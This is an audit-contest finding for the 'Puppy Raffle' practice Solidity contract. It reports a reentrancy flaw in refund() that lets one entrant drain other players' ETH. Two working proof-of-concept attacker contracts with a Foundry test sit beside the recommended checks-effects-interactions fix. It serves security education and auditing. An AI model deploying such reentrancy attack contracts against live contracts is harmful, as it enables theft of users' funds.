Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `refund` allows an entrant to drain raffle funds

Root + Impact

Description

Players can call refund to receive their entrance fee back and be removed from the active player list.

The function sends ETH to msg.sender before clearing the player entry from storage. A malicious contract can reenter refund from its receive hook while players[playerIndex] still equals the attack contract, allowing the same ticket to be refunded repeatedly.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// @> External call happens before the player is marked refunded.
payable(msg.sender).sendValue(entranceFee);
// @> State is updated too late.
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Any contract player can enter the raffle and call refund.

  • sendValue forwards all available gas, so the receiver can execute arbitrary logic and reenter the raffle.

Impact:

  • A malicious entrant can drain ETH paid by other raffle participants.

  • The raffle can become insolvent, preventing fair prize payout and refunds.

Proof of Concept

Add the following test contract and test to test/PuppyRaffleTest.t.sol:

contract ReentrantRefundAttacker {
PuppyRaffle public raffle;
uint256 public index;
uint256 public entranceFee;
constructor(PuppyRaffle _raffle, uint256 _entranceFee) {
raffle = _raffle;
entranceFee = _entranceFee;
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
index = raffle.getActivePlayerIndex(address(this));
raffle.refund(index);
}
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(index);
}
}
}
function testRefundReentrancyDrainsRaffle() public {
address[] memory honestPlayers = new address[](4);
honestPlayers[0] = address(11);
honestPlayers[1] = address(12);
honestPlayers[2] = address(13);
honestPlayers[3] = address(14);
puppyRaffle.enterRaffle{value: entranceFee * 4}(honestPlayers);
ReentrantRefundAttacker attacker = new ReentrantRefundAttacker(puppyRaffle, entranceFee);
attacker.attack{value: entranceFee}();
assertEq(address(puppyRaffle).balance, 0);
assertGt(address(attacker).balance, entranceFee);
}

The attacker paid one entrance fee but receives multiple refunds before their slot is cleared.

Recommended Mitigation

Apply checks-effects-interactions and optionally add a reentrancy guard.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+
payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!